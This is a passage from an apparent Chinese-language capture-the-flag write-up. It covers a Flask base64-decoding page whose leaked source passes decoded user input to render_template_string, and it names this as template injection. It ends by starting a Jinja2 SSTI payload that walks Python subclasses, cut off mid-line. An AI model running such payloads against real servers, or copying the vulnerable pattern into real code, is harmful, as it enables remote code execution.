打开后一个base64加密框
在解密处容易输入一些东西会导致报错,还会出一部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
可以看到/decode的部分源码,可以发现 render_template_string(tmp)会引起python模块注入
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ca